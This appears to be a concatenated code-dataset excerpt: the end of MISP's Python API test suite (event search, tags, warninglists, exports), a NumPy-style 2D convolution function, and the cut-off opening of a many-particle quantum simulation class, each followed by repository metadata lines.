self.assertEqual(len(index), 0, "No event should exists") event = self.user_misp_connector.add_event(event) check_response(event) # One event should exists index = self.user_misp_connector.search_index(eventinfo=event.info) self.assertEqual(len(index), 1) self.assertEqual(index[0].uuid, event.uuid) index = self.user_misp_connector.search_index(eventinfo="!" + str(event.info)) for index_event in index: self.assertNotEqual(event.uuid, index_event.uuid, index) self.user_misp_connector.delete_event(event) def test_search_index_by_all(self): event = create_simple_event() index = self.user_misp_connector.search_index(all=event.attributes[0].value) self.assertEqual(len(index), 0, "No event should exists") event = self.user_misp_connector.add_event(event) check_response(event) index = self.user_misp_connector.search_index(all=event.attributes[0].value) self.assertEqual(len(index), 1, "One event should exists") self.assertEqual(index[0].uuid, event.uuid) index = self.user_misp_connector.search_index(all=event.attributes[0].value.upper()) self.assertEqual(len(index), 1, "One event should exists") self.assertEqual(index[0].uuid, event.uuid) self.user_misp_connector.delete_event(event) def test_search_index_by_attribute(self): event = create_simple_event() index = self.user_misp_connector.search_index(attribute=event.attributes[0].value) self.assertEqual(len(index), 0, "No event should exists") event = self.user_misp_connector.add_event(event) check_response(event) index = self.user_misp_connector.search_index(attribute=event.attributes[0].value) self.assertEqual(len(index), 1, "One event should exists") self.assertEqual(index[0].uuid, event.uuid) index = self.user_misp_connector.search_index(attribute=event.attributes[0].value.upper()) self.assertEqual(len(index), 1, "One event should exists") self.assertEqual(index[0].uuid, event.uuid) self.user_misp_connector.delete_event(event) def test_search_index_by_tag(self): tags = self.user_misp_connector.search_tags("tlp:red", True) index = self.user_misp_connector.search_index(tags="tlp:red") self.assertEqual(len(index), 0, "No event should exists") index = self.user_misp_connector.search_index(tags=tags[0].id) self.assertEqual(len(index), 0, "No event should exists") event = create_simple_event() event.add_tag("tlp:red") event = self.user_misp_connector.add_event(event) check_response(event) index = self.user_misp_connector.search_index(tags="tlp:red") self.assertEqual(len(index), 1, "One event should exists") index = self.user_misp_connector.search_index(tags="tlp:red|not_exists") self.assertEqual(len(index), 1, "One event should exists") index = self.user_misp_connector.search_index(tags=["tlp:red", "not_exists"]) self.assertEqual(len(index), 1, "One event should exists") index = self.user_misp_connector.search_index(tags=tags[0].id) self.assertEqual(len(index), 1, "One event should exists") index = self.user_misp_connector.search_index(tags="!tlp:red") for index_event in index: self.assertNotEqual(event.uuid, index_event.uuid, index) index = self.user_misp_connector.search_index(tags="!" + str(tags[0].id)) for index_event in index: self.assertNotEqual(event.uuid, index_event.uuid, index) self.user_misp_connector.delete_event(event) def test_search_index_by_email(self): index = self.user_misp_connector.search_index(email=self.test_usr.email) self.assertEqual(len(index), 0, index) event = create_simple_event() event = self.user_misp_connector.add_event(event) check_response(event) index = self.user_misp_connector.search_index(email=self.test_usr.email) self.assertEqual(len(index), 1, "One event should exists") self.user_misp_connector.delete_event(event) def test_search_index_by_email_admin(self): index = self.admin_misp_connector.search_index(email="no_existing_exmail@example.com") self.assertEqual(len(index), 0, index) index = self.admin_misp_connector.search_index(email=self.test_usr.email) self.assertEqual(len(index), 0, index) event = create_simple_event() event = self.user_misp_connector.add_event(event) check_response(event) index = self.admin_misp_connector.search_index(email=self.test_usr.email) self.assertEqual(len(index), 1, index) # Search by partial match index = self.admin_misp_connector.search_index(email="testusr@user") self.assertEqual(len(index), 1, index) self.user_misp_connector.delete_event(event) def test_search_index_by_eventid(self): # Search by non exists uuid index = self.admin_misp_connector.search_index(eventid=uuid.uuid4()) self.assertEqual(len(index), 0, index) # Search by non exists id index = self.admin_misp_connector.search_index(eventid=9999) self.assertEqual(len(index), 0, index) event = create_simple_event() event = self.user_misp_connector.add_event(event) check_response(event) index = self.admin_misp_connector.search_index(eventid=event.id) self.assertEqual(len(index), 1, index) index = self.admin_misp_connector.search_index(eventid=event.uuid) self.assertEqual(len(index), 1, index) self.user_misp_connector.delete_event(event) def test_search_index_minimal(self): # pythonify is not supported for minimal results self.user_misp_connector.global_pythonify = False minimal = self.user_misp_connector.search_index(minimal=True) self.assertGreater(len(minimal), 0) minimal_event = minimal[0] self.assertIn("id", minimal_event) self.assertIn("timestamp", minimal_event) self.assertIn("sighting_timestamp", minimal_event) self.assertIn("published", minimal_event) self.assertIn("uuid", minimal_event) self.assertIn("orgc_uuid", minimal_event) for event in minimal: self.assertFalse(event["published"], "No event should be published.") def test_search_index_minimal_published(self): # pythonify is not supported for minimal results self.user_misp_connector.global_pythonify = False index = self.user_misp_connector.search_index(minimal=True, published=True) self.assertEqual(len(index), 0, "No event should be published.") index = self.user_misp_connector.search_index(minimal=True) not_published = self.user_misp_connector.search_index(minimal=True, published=0) both_2 = self.user_misp_connector.search_index(minimal=True, published=2) both_array = self.user_misp_connector.search_index(minimal=True, published=[0, 1]) self.assertEqual(len(index), len(not_published)) self.assertEqual(len(index), len(both_2)) self.assertEqual(len(index), len(both_array)) def test_search_index_minimal_by_org(self): # pythonify is not supported for minimal results self.user_misp_connector.global_pythonify = False # Create test event event = create_simple_event() event = self.user_misp_connector.add_event(event, pythonify=True) check_response(event) # Search by org name minimal_org = self.user_misp_connector.search_index(minimal=True, org="Test Org") self.assertGreater(len(minimal_org), 0) for event in minimal_org: self.assertEqual(event["orgc_uuid"], self.test_org.uuid) # Search by org name with different case minimal_org_lower = self.user_misp_connector.search_index(minimal=True, org="test org") self.assertGreater(len(minimal_org), 0) for event in minimal_org: self.assertEqual(event["orgc_uuid"], self.test_org.uuid) # Search by non exists org name minimal_org_non_existing = self.user_misp_connector.search_index(minimal=True, org="Test Org that doesn't exists") self.assertEqual(len(minimal_org_non_existing), 0) # Search by org uuid minimal_org_uuid = self.user_misp_connector.search_index(minimal=True, org=self.test_org.uuid) self.assertGreater(len(minimal_org), 0) for event in minimal_org: self.assertEqual(event["orgc_uuid"], self.test_org.uuid) # Search by non existing uuid minimal_org_uuid_non_existing = self.user_misp_connector.search_index(minimal=True, org=uuid.uuid4()) self.assertEqual(len(minimal_org_uuid_non_existing), 0) # Search by org ID minimal_org_id = self.user_misp_connector.search_index(minimal=True, org=self.test_org.id) self.assertGreater(len(minimal_org), 0) for event in minimal_org: self.assertEqual(event["orgc_uuid"], self.test_org.uuid) self.assertEqual(len(minimal_org), len(minimal_org_lower)) self.assertEqual(len(minimal_org), len(minimal_org_uuid)) self.assertEqual(len(minimal_org), len(minimal_org_id)) # Search not by org minimal_org_not = self.user_misp_connector.search_index(minimal=True, org="!Test Org") for event in minimal_org_not: self.assertNotEqual(event["orgc_uuid"], self.test_org.uuid) minimal_org_lower_not = self.user_misp_connector.search_index(minimal=True, org="!test org") for event in minimal_org_lower_not: self.assertNotEqual(event["orgc_uuid"], self.test_org.uuid) minimal_org_uuid_not = self.user_misp_connector.search_index(minimal=True, org="!" + self.test_org.uuid) for event in minimal_org_uuid_not: self.assertNotEqual(event["orgc_uuid"], self.test_org.uuid) minimal_org_id_not = self.user_misp_connector.search_index(minimal=True, org="!" + self.test_org.id) for event in minimal_org_id_not: self.assertNotEqual(event["orgc_uuid"], self.test_org.uuid) self.assertEqual(len(minimal_org_not), len(minimal_org_lower_not)) self.assertEqual(len(minimal_org_not), len(minimal_org_uuid_not)) self.assertEqual(len(minimal_org_not), len(minimal_org_id_not)) self.user_misp_connector.delete_event(event) def test_delete_event_blocklist(self): check_response(self.admin_misp_connector.set_server_setting('MISP.enableEventBlocklisting', 1)) # Create test event event = create_simple_event() event = self.user_misp_connector.add_event(event) check_response(event) # Delete event check_response(self.user_misp_connector.delete_event(event)) check_response(self.admin_misp_connector.set_server_setting('MISP.enableEventBlocklisting', 0)) def test_deleted_attributes(self): # Create test event event = create_simple_event() event.add_attribute('text', "deleted", deleted=True) event.add_attribute('text', "not-deleted") event = self.user_misp_connector.add_event(event) check_response(event) # Not deleted fetched_event = self.user_misp_connector.get_event(event) check_response(fetched_event) self.assertEqual(len(fetched_event.attributes), 2, fetched_event) # Not deleted fetched_event = self.user_misp_connector.get_event(event, deleted=0) check_response(fetched_event) self.assertEqual(len(fetched_event.attributes), 2, fetched_event) # Include deleted fetched_event = self.user_misp_connector.get_event(event, deleted=1) check_response(fetched_event) self.assertEqual(len(fetched_event.attributes), 3, fetched_event) # Deleted only fetched_event = self.user_misp_connector.get_event(event, deleted=2) check_response(fetched_event) self.assertEqual(len(fetched_event.attributes), 1, fetched_event) # Both fetched_event = self.user_misp_connector.get_event(event, deleted=[0, 1]) check_response(fetched_event) self.assertEqual(len(fetched_event.attributes), 3, fetched_event) check_response(self.user_misp_connector.delete_event(event)) def test_view_event_exclude_local_tags(self): event = create_simple_event() event.add_tag({"name": "local", "local": 1}) event.add_tag({"name": "global", "local": 0}) event.attributes[0].add_tag({"name": "local", "local": 1}) event.attributes[0].add_tag({"name": "global", "local": 0}) event = self.admin_misp_connector.add_event(event) check_response(event) event_with_local_tags = self.admin_misp_connector.get_event(event) check_response(event_with_local_tags) self.assertEqual(len(event_with_local_tags.tags), 2) self.assertEqual(len(event_with_local_tags.attributes[0].tags), 2) event_without_local_tags = self.admin_misp_connector._check_json_response(self.admin_misp_connector._prepare_request('GET', f'events/view/{event.id}/excludeLocalTags:1')) check_response(event_without_local_tags) self.assertEqual(event_without_local_tags["Event"]["Tag"][0]["local"], 0, event_without_local_tags) self.assertEqual(event_without_local_tags["Event"]["Attribute"][0]["Tag"][0]["local"], 0, event_without_local_tags) check_response(self.admin_misp_connector.delete_event(event)) def test_publish_alert_filter(self): check_response(self.admin_misp_connector.set_server_setting('MISP.background_jobs', 0, force=True)) first = create_simple_event() first.add_tag('test_publish_filter') first.threat_level_id = ThreatLevel.medium second = create_simple_event() second.add_tag('test_publish_filter') second.threat_level_id = ThreatLevel.high third = create_simple_event() third.add_tag('test_publish_filter') third.threat_level_id = ThreatLevel.low four = create_simple_event() four.threat_level_id = ThreatLevel.high try: # Enable autoalert on admin self.admin_misp_connector._current_user.autoalert = True check_response(self.admin_misp_connector.update_user(self.admin_misp_connector._current_user)) # Set publish_alert_filter tag to `test_publish_filter` setting_value = {'AND': {'Tag.name': 'test_publish_filter', 'ThreatLevel.name': ['High', 'Medium']}} check_response(self.admin_misp_connector.set_user_setting('publish_alert_filter', setting_value)) # Add events first = check_response(self.admin_misp_connector.add_event(first)) second = check_response(self.admin_misp_connector.add_event(second)) third = check_response(self.admin_misp_connector.add_event(third)) four = check_response(self.admin_misp_connector.add_event(four)) # Publish events for event in (first, second, third, four): check_response(self.admin_misp_connector.publish(event, alert=True)) # Email notification should be send just to first event mail_logs = self.admin_misp_connector.search_logs(model='User', action='email') log_titles = [log.title for log in mail_logs] self.assertIn('Email to admin@admin.test sent, titled "[ORGNAME MISP] Event ' + str(first.id) + ' - Medium - TLP:AMBER".', log_titles) self.assertIn('Email to admin@admin.test sent, titled "[ORGNAME MISP] Event ' + str(second.id) + ' - High - TLP:AMBER".', log_titles) self.assertNotIn('Email to admin@admin.test sent, titled "[ORGNAME MISP] Event ' + str(third.id) + ' - Low - TLP:AMBER".', log_titles) self.assertNotIn('Email to admin@admin.test sent, titled "[ORGNAME MISP] Event ' + str(four.id) + ' - High - TLP:AMBER".', log_titles) finally: # Disable autoalert self.admin_misp_connector._current_user.autoalert = False check_response(self.admin_misp_connector.update_user(self.admin_misp_connector._current_user)) # Delete filter self.admin_misp_connector.delete_user_setting('publish_alert_filter') # Reenable background jobs check_response(self.admin_misp_connector.set_server_setting('MISP.background_jobs', 1, force=True)) # Delete events for event in (first, second, third, four): check_response(self.admin_misp_connector.delete_event(event)) def test_remove_orphaned_correlations(self): result = self.admin_misp_connector._check_json_response(self.admin_misp_connector._prepare_request('GET', 'servers/removeOrphanedCorrelations')) check_response(result) self.assertIn("message", result) def test_restsearch_event_by_tags(self): first = create_simple_event() first.add_tag('test_search_tag') first.add_tag('test_search_tag_third') first.add_tag('test_search_tag_both') first = self.admin_misp_connector.add_event(first) check_response(first) second = create_simple_event() second.add_tag('test_search_tag_second') second.add_tag('test_search_tag_both') second = self.admin_misp_connector.add_event(second) check_response(second) search_result = self.admin_misp_connector.search(metadata=True, tags=["non_exists_tag"]) self.assertEqual(0, len(search_result)) search_result = self.admin_misp_connector.search(metadata=True, tags=["test_search_tag"]) self.assertEqual(1, len(search_result)) self.assertEqual(first.id, search_result[0].id) search_result = self.admin_misp_connector.search(metadata=True, tags="test_search_tag") self.assertEqual(1, len(search_result)) self.assertEqual(first.id, search_result[0].id) # Like style match search_result = self.admin_misp_connector.search(metadata=True, tags=["test_search_tag%"]) self.assertEqual(2, len(search_result)) search_result = self.admin_misp_connector.search(metadata=True, tags=["test_search_tag_second"]) self.assertEqual(1, len(search_result)) self.assertEqual(second.id, search_result[0].id) search_result = self.admin_misp_connector.search(metadata=True, tags=["!test_search_tag"]) search_result_ids = [event.id for event in search_result] self.assertNotIn(first.id, search_result_ids) self.assertIn(second.id, search_result_ids) search_result = self.admin_misp_connector.search(metadata=True, tags={"NOT": ["test_search_tag"]}) search_result_ids = [event.id for event in search_result] self.assertNotIn(first.id, search_result_ids) self.assertIn(second.id, search_result_ids) search_result = self.admin_misp_connector.search(metadata=True, tags={"NOT": "test_search_tag"}) search_result_ids = [event.id for event in search_result] self.assertNotIn(first.id, search_result_ids) self.assertIn(second.id, search_result_ids) search_result = self.admin_misp_connector.search(metadata=True, tags=["test_search_tag", "test_search_tag_second"]) self.assertEqual(2, len(search_result)) search_result = self.admin_misp_connector.search(metadata=True, tags={"AND": ["test_search_tag", "test_search_tag_third"]}) self.assertEqual(1, len(search_result)) self.assertEqual(first.id, search_result[0].id) search_result = self.admin_misp_connector.search(metadata=True, tags={"AND": ["test_search_tag", "test_search_tag_both"]}) search_result_ids = [event.id for event in search_result] self.assertEqual(1, len(search_result_ids)) self.assertIn(first.id, search_result_ids) check_response(self.admin_misp_connector.delete_event(first)) check_response(self.admin_misp_connector.delete_event(second)) def test_log_new_audit(self): check_response(self.admin_misp_connector.set_server_setting('MISP.log_new_audit', 1, force=True)) event = create_simple_event() event.add_tag('test_log_new_audit_tag') event = check_response(self.admin_misp_connector.add_event(event)) check_response(self.admin_misp_connector.delete_event(event)) check_response(self.admin_misp_connector.set_server_setting('MISP.log_new_audit', 0, force=True)) audit_logs = self.admin_misp_connector._check_json_response(self.admin_misp_connector._prepare_request('GET', 'admin/audit_logs/index')) check_response(audit_logs) self.assertGreater(len(audit_logs), 0) def test_add_tag_to_attachment(self): event = create_simple_event() with open(__file__, 'rb') as f: event.add_attribute('attachment', value='testfile.py', data=BytesIO(f.read())) event = check_response(self.admin_misp_connector.add_event(event)) attribute_uuids = [attribute.uuid for attribute in event.attributes if attribute.type == 'attachment'] self.assertEqual(1, len(attribute_uuids)) check_response(self.admin_misp_connector.tag(attribute_uuids[0], 'generic_tag_test')) check_response(self.admin_misp_connector.delete_event(event)) def test_add_duplicate_tags(self): event = create_simple_event() event = check_response(self.admin_misp_connector.add_event(event)) # Just first tag should be added check_response(self.admin_misp_connector.tag(event.uuid, 'generic_tag_test', local=True)) check_response(self.admin_misp_connector.tag(event.uuid, 'generic_tag_test', local=False)) fetched_event = check_response(self.admin_misp_connector.get_event(event)) self.assertEqual(1, len(fetched_event.tags), fetched_event.tags) self.assertTrue(fetched_event.tags[0].local, fetched_event.tags[0]) def test_export(self): event = create_simple_event() event.add_attribute("ip-src", "1.2.4.5", to_ids=True) event = check_response(self.admin_misp_connector.add_event(event)) result = self._search({'returnFormat': "openioc", 'eventid': event.id, "published": [0, 1]}) ET.fromstring(result) # check if result is valid XML self.assertTrue("1.2.4.5" in result, result) result = self._search({'returnFormat': "yara", 'eventid': event.id, "published": [0, 1]}) self.assertTrue("1.2.4.5" in result, result) self.assertTrue("GENERATED" in result, result) self.assertTrue("AS-IS" in result, result) result = self._search({'returnFormat': "yara-json", 'eventid': event.id, "published": [0, 1]}) self.assertIn("generated", result) self.assertEqual(len(result["generated"]), 1, result) self.assertIn("as-is", result) check_response(self.admin_misp_connector.delete_event(event)) def test_event_report_empty_name(self): event = create_simple_event() new_event_report = MISPEventReport() new_event_report.name = "" new_event_report.content = "# Example report markdown" new_event_report.distribution = 5 # Inherit try: event = check_response(self.user_misp_connector.add_event(event)) new_event_report = self.user_misp_connector.add_event_report(event.id, new_event_report) self.assertIn("errors", new_event_report) finally: self.user_misp_connector.delete_event(event) def test_new_audit(self): with MISPSetting(self.admin_misp_connector, {"MISP.log_new_audit": True}): event = create_simple_event() event = check_response(self.user_misp_connector.add_event(event)) self.user_misp_connector.delete_event(event) def test_csp_report(self): response = self.admin_misp_connector._prepare_request('POST', 'servers/cspReport', data={ "csp-report": { "test": "test", } }) self.assertEqual(204, response.status_code) def test_redacted_setting(self): response = self.admin_misp_connector.get_server_setting('Security.salt') self.assertEqual(403, response["errors"][0]) response = self.admin_misp_connector._prepare_request('GET', 'servers/serverSettingsEdit/Security.salt') response = self.admin_misp_connector._check_json_response(response) self.assertEqual(403, response["errors"][0]) def test_custom_warninglist(self): warninglist = { "Warninglist": { "name": "Test", "description": "Test", "type": "cidr", "category": "false_positive", "matching_attributes": ["ip-src", "ip-dst"], "entries": "1.2.3.4", } } wl = request(self.admin_misp_connector, 'POST', 'warninglists/add', data=warninglist) check_response(wl) check_response(self.admin_misp_connector.enable_warninglist(wl["Warninglist"]["id"])) response = self.admin_misp_connector.values_in_warninglist("1.2.3.4") self.assertEqual(wl["Warninglist"]["id"], response["1.2.3.4"][0]["id"]) warninglist["Warninglist"]["entries"] = "1.2.3.4\n2.3.4.5" response = request(self.admin_misp_connector, 'POST', f'warninglists/edit/{wl["Warninglist"]["id"]}', data=warninglist) check_response(response) response = self.admin_misp_connector.values_in_warninglist("2.3.4.5") self.assertEqual(wl["Warninglist"]["id"], response["2.3.4.5"][0]["id"]) warninglist["Warninglist"]["entries"] = "2.3.4.5" response = request(self.admin_misp_connector, 'POST', f'warninglists/edit/{wl["Warninglist"]["id"]}', data=warninglist) check_response(response) response = self.admin_misp_connector.values_in_warninglist("1.2.3.4") self.assertEqual(0, len(response)) response = self.admin_misp_connector.values_in_warninglist("2.3.4.5") self.assertEqual(wl["Warninglist"]["id"], response["2.3.4.5"][0]["id"]) check_response(self.admin_misp_connector.disable_warninglist(wl["Warninglist"]["id"])) response = self.admin_misp_connector.values_in_warninglist("2.3.4.5") self.assertEqual(0, len(response)) response = request(self.admin_misp_connector, 'POST', f'warninglists/delete/{wl["Warninglist"]["id"]}') check_response(response) def _search(self, query: dict): response = self.admin_misp_connector._prepare_request('POST', 'events/restSearch', data=query) response = self.admin_misp_connector._check_response(response) check_response(response) return response if __name__ == '__main__': unittest.main()
MISP/MISP
tests/testlive_comprehensive_local.py
Python
agpl-3.0
32,271
[ "Amber" ]
21deebb27b5590898d7a591da11b51e5821dba44c284e926e3f986ef230c48d2
#!/usr/bin/python # -*- coding: utf-8 -*- # # --- BEGIN_HEADER --- # # convolution - http://www.songho.ca/dsp/convolution/convolution.html # Copyright (C) 2011-2012 The CPHHPC Project lead by Brian Vinter # # This file is part of CPHHPC Toolbox. # # CPHHPC Toolbox is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 2 of the License, or # (at your option) any later version. # # CPHHPC Toolbox is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, # USA. # # -- END_HEADER --- # """Convolution: http://www.songho.ca/dsp/convolution/convolution.html""" from numcil import zeros def convolve2d(input, window, out=None, data_type=None): """ Convolve two 2-dimensional arrays: http://www.songho.ca/dsp/convolution/convolution.html Parameters ---------- input : ndarray A 2-dimensional input array window: ndarray A 2-dimensional convolution window array (shape must be odd) out : ndarray, optional Output argument. This must have the exact kind that would be returned if it was not used. In particular, it must have the right shape and must be C-contiguous. This is a performance feature. Therefore, if these conditions are not met, an exception is raised, instead of attempting to be flexible. data_type : data-type, optional The precision of the created `out` ndarray if `out` is None Raises ------ ValueError If shape of `window` is even If shape of `out` doesn't match those of `input` """ if window.shape[0] % 2 == 0 or window.shape[1] % 2 == 0: msg = "window.shape: %s is _NOT_ odd" % (str(window.shape)) raise ValueError(msg) window_radius = (window.shape[0]/2, window.shape[1]/2) zero_pad_shape = (input.shape[0] + (window_radius[0]*2), input.shape[1] + (window_radius[1]*2)) zero_padded_input = zeros(zero_pad_shape, dtype=data_type) zero_padded_input[window_radius[0]:-window_radius[0], window_radius[1]:-window_radius[1]] = input if out != None: if out.shape != input.shape: msg = "input.shape: %s and out.shape: %s doesn't match" % (str(input.shape), str(out.shape)) raise ValueError(msg) else: if data_type == None: out = zeros(input.shape, dtype=input.dtype) else: out = zeros(input.shape, dtype=data_type) start_y = window_radius[0]*2 end_y = zero_pad_shape[0] for y in xrange(window.shape[0]): start_x = window_radius[1]*2 end_x = zero_pad_shape[1] for x in xrange(window.shape[1]): tmp = zero_padded_input * window[y][x] out += tmp[start_y:end_y, start_x:end_x] start_x -= 1 end_x -= 1 start_y -= 1 end_y -= 1 return out
Ektorus/bohrium
test/cil/Unittest/Benchmarks/IronPython/cphhpc/signal/convolution.py
Python
lgpl-3.0
3,399
[ "Brian" ]
188472f64d569fec8287b11a898a6e653f7ecb7a1eee345804f49ae9ed03dd74
# This program is explicitly written for PYTHON3.X and will not work under Python2.X import numpy as np import shutil from scipy.special import binom from scipy.sparse import coo_matrix, csr_matrix, issparse from scipy.sparse import identity as spidentity from scipy.special import erf import scipy.linalg as la from numpy.linalg import multi_dot from numpy import einsum as npeinsum import time as tm import os, configparser import entPlot as ep from numpy import sqrt from numpy import log as nplog from numpy.linalg import matrix_power as npmatrix_power from configparser import ConfigParser from scipy.special.basic import factorial from scipy import vdot # manyparticle system class class mpSystem: # N = total particle number, m = number of states in total, redStates = array of state indices to be traced out def __init__(self, cFile="default.ini", dtType=np.complex128, plotOnly=False): self.confFile = cFile if not plotOnly: prepFolders(0) self.loadConfig() # mask selects only not traced out states self.mask = np.ones((self.m), dtype=bool) for k in self.kRed: self.mask[k] = False self.dim = dimOfBasis(self.N, self.m) # dimension of basis ###### system variables if not plotOnly: self.datType = dtType self.basis = np.zeros((self.dim, self.m), dtype=np.int) fillBasis(self.basis, self.N, self.m) self.basisDict = basis2dict(self.basis, self.dim) # note that there is an additional dimension there! needed for fast multiplication algorithm self.state = np.zeros((self.dim), dtype=self.datType) # parameter for storing in file self.stateNorm = 0 self.stateNormAbs = 0 self.stateNormCheck = 1e1 # check if norm has been supressed too much self.densityMatrix = [] # do not initialize yet - it wait until hamiltonian decomposition has been done for memory efficiency self.densityMatrixInd = False self.entropy = 0 self.energy = 0 self.operators = quadraticArray(self) self.occNo = np.zeros(self.m, dtype=np.float64) # hamiltonian - initialized with zeros (note - datatype is not! complex) self.hamiltonian = coo_matrix(np.zeros((self.dim, self.dim)), shape=(self.dim, self.dim), dtype=np.float64).tocsr() # matrix for time evolution - initially empty self.evolutionMatrix = None # eigenvalue and vectors self.eigVals = [] self.eigVects = [] self.eigInd = False # iteration step self.evolStep = 0 self.evolStepTmp = 0 self.evolTime = 0 self.tavg = 0 # needed for estimation of remaining time self.dmcount = 0 # needed for numbering of density matrix files self.dmFileFactor = 0 # counting value for density matrix storage ###### variables for the partial trace algorithm self.mRed = self.m - len(self.kRed) self.mRedComp = len(self.kRed) self.entropyRed = 0 ###### energy eigenbasis stuff if self.boolOffDiag or self.boolDiagExpStore: self.enState = np.zeros((self.dim), dtype=self.datType) if self.boolOffDiag: self.offDiagMat = np.empty((self.m), dtype=object) self.offDiag = np.zeros((self.m), dtype=self.datType) if self.occEnSingle > 0: self.occEnInds = np.zeros((self.m, 2, self.occEnSingle), dtype=np.int16) self.offDiagSingles = np.zeros((self.m, self.occEnSingle), dtype=self.datType) if self.boolOffDiagDens: self.offDiagDens = 0 if self.mRedComp == 0: self.dimRed = 0 self.offsetsRed = None self.basisRed = None self.dimRedComp = self.dim self.offsetsRedComp = np.zeros((self.N + 2), dtype=np.int32) self.offsetsRedComp[-1] = self.dim self.basisRedComp = self.basis self.densityMatrixRed = None else: # particle number bound from above -> dim is that of 1 state more but with particle number conservation self.dimRed = dimOfBasis(self.N, (self.mRed + 1)) self.offsetsRed = basisOffsets(self.N, self.mRed) self.basisRed = np.zeros((self.dimRed, self.mRed), dtype=np.int) fillReducedBasis(self.basisRed, self.N, self.mRed, self.offsetsRed) self.basisDictRed = basis2dict(self.basisRed, self.dimRed) # only!! neded for reduced space operators self.dimRedComp = dimOfBasis(self.N, (self.mRedComp + 1)) self.offsetsRedComp = basisOffsets(self.N, self.mRedComp) self.basisRedComp = np.zeros((self.dimRedComp, self.mRedComp), dtype=np.int) fillReducedBasis(self.basisRedComp, self.N, self.mRedComp, self.offsetsRedComp) self.densityMatrixRed = np.zeros((self.dimRed, self.dimRed), dtype=self.datType) self.iteratorRed = np.zeros((0, 4), dtype=np.int32) self.initIteratorRed() ### Spectral if self.boolRetgreen: ## lo self.specLoDim = dimOfBasis(self.N - 1, self.m) self.specLoBasis = np.zeros((self.specLoDim, self.m), dtype=np.int) fillBasis(self.specLoBasis, self.N - 1, self.m) self.specLoBasisDict = basis2dict(self.specLoBasis, self.specLoDim) self.specLoHamiltonian = coo_matrix(np.zeros((self.specLoDim, self.specLoDim)), shape=(self.specLoDim, self.specLoDim), dtype=np.float64).tocsr() ## hi self.specHiDim = dimOfBasis(self.N + 1, self.m) self.specHiBasis = np.zeros((self.specHiDim, self.m), dtype=np.int) fillBasis(self.specHiBasis, self.N + 1, self.m) self.specHiBasisDict = basis2dict(self.specHiBasis, self.specHiDim) self.specHiHamiltonian = coo_matrix(np.zeros((self.specHiDim, self.specHiDim)), shape=(self.specHiDim, self.specHiDim), dtype=np.float64).tocsr() if self.boolRetgreen: self.green = np.zeros(self.m, dtype=self.datType) self.stateSaves = [] # append with time dep. state vector self.timeSaves = [] # append with time of saved state vector self.specLoEvolutionMatrix = None self.specHiEvolutionMatrix = None self.specLowering = [] self.specRaising = [] # fill'em for i in range(0, self.m): # note that the lowering operator transposed is the raising op. of the lower dimension space self.specLowering.append(getLoweringSpec(self, i)) # the raising operator transposed is the lowering op. of the higher dimension space self.specRaising.append(getRaisingSpec(self, i)) # end of init ###### reading from config file def loadConfig(self): configParser = configparser.RawConfigParser() # read the defaults and look for it in existing folder or parent folder if os.path.isfile('./default.ini'): configParser.read('./default.ini') elif os.path.isfile('../default.ini'): configParser.read('../default.ini') else: exit('Unable to read default.ini') # read the actual config file configParser.read('./' + self.confFile) # ## system parameters self.N = int(configParser.getfloat('system', 'N')) self.m = int(configParser.getfloat('system', 'm')) self.kRed = configParser.get('system', 'kred').split(',') if len(self.kRed[0]) == 0: self.kRed = [] else: self.kRed = [int(el) for el in self.kRed] # ## hamiltonian parameters self.onsite = np.float64(configParser.getfloat('hamiltonian', 'de')) self.hybrid = np.float64(configParser.getfloat('hamiltonian', 't')) self.interequal = np.float64(configParser.getfloat('hamiltonian', 'ueq')) self.interdiff = np.float64(configParser.getfloat('hamiltonian', 'udiff')) # ## iteration parameters self.steps = int(configParser.getfloat('iteration', 'steps')) self.deltaT = np.float64(configParser.getfloat('iteration', 'deltaT')) self.order = int(configParser.getfloat('iteration', 'order')) self.loOrder = int(configParser.getfloat('iteration', 'loorder')) self.hiOrder = int(configParser.getfloat('iteration', 'hiorder')) # ## file management self.dataPoints = int(configParser.getfloat('filemanagement', 'datapoints')) self.dmFilesSkipFactor = int(configParser.getfloat('filemanagement', 'dmfile_skipfactor')) self.boolClear = configParser.getboolean('filemanagement', 'clear') self.boolDataStore = configParser.getboolean('filemanagement', 'datastore') self.boolDMStore = configParser.getboolean('filemanagement', 'dmstore') self.boolDMRedStore = configParser.getboolean('filemanagement', 'dmredstore') self.boolHamilStore = configParser.getboolean('filemanagement', 'hamilstore') self.boolOccEnStore = configParser.getboolean('filemanagement', 'occenstore') self.occEnSingle = configParser.getint('filemanagement', 'occensingle') self.boolOffDiag = configParser.getboolean('filemanagement', 'offdiag') self.boolOffDiagDens = configParser.getboolean('filemanagement', 'offdiagdens') self.boolEngyStore = configParser.getboolean('filemanagement', 'energiesstore') self.boolDecompStore = configParser.getboolean('filemanagement', 'decompstore') self.boolDiagExpStore = configParser.getboolean('filemanagement', 'diagexp') self.boolRetgreen = configParser.getboolean('filemanagement', 'retgreen') # ## calculation-parameters self.boolOnlyRed = configParser.getboolean('calcparams', 'onlyreduced') self.boolTotalEnt = configParser.getboolean('calcparams', 'totalentropy') self.boolTotalEnergy = configParser.getboolean('calcparams', 'totalenergy') # ## plotting booleans and parameters self.boolPlotData = configParser.getboolean('plotbools', 'data') self.boolPlotAverages = configParser.getboolean('plotbools', 'averages') self.boolPlotHamiltonian = configParser.getboolean('plotbools', 'hamiltonian') self.boolPlotDMAnimation = configParser.getboolean('plotbools', 'densistymatrix') self.boolPlotDMRedAnimation = configParser.getboolean('plotbools', 'reducedmatrix') self.boolPlotOccEn = configParser.getboolean('plotbools', 'occen') self.boolPlotOffDiag = configParser.getboolean('plotbools', 'offdiag') self.boolPlotOffDiagSingles = configParser.getboolean('plotbools', 'offdiagsingles') self.boolPlotOffDiagDens = configParser.getboolean('plotbools', 'offdiagdens') self.boolPlotEngy = configParser.getboolean('plotbools', 'energies') self.boolPlotDecomp = configParser.getboolean('plotbools', 'decomposition') self.boolPlotDiagExp = configParser.getboolean('plotbools', 'diagexp') self.boolPlotTimescale = configParser.getboolean('plotbools', 'timescale') self.boolPlotDOS = configParser.getboolean('plotbools', 'dos') self.boolPlotSpectralDensity = configParser.getboolean('plotbools', 'spectraldensity') self.boolPlotGreen = configParser.getboolean('plotbools', 'green') # ## plotting variables self.dmFilesStepSize = configParser.getint('plotvals', 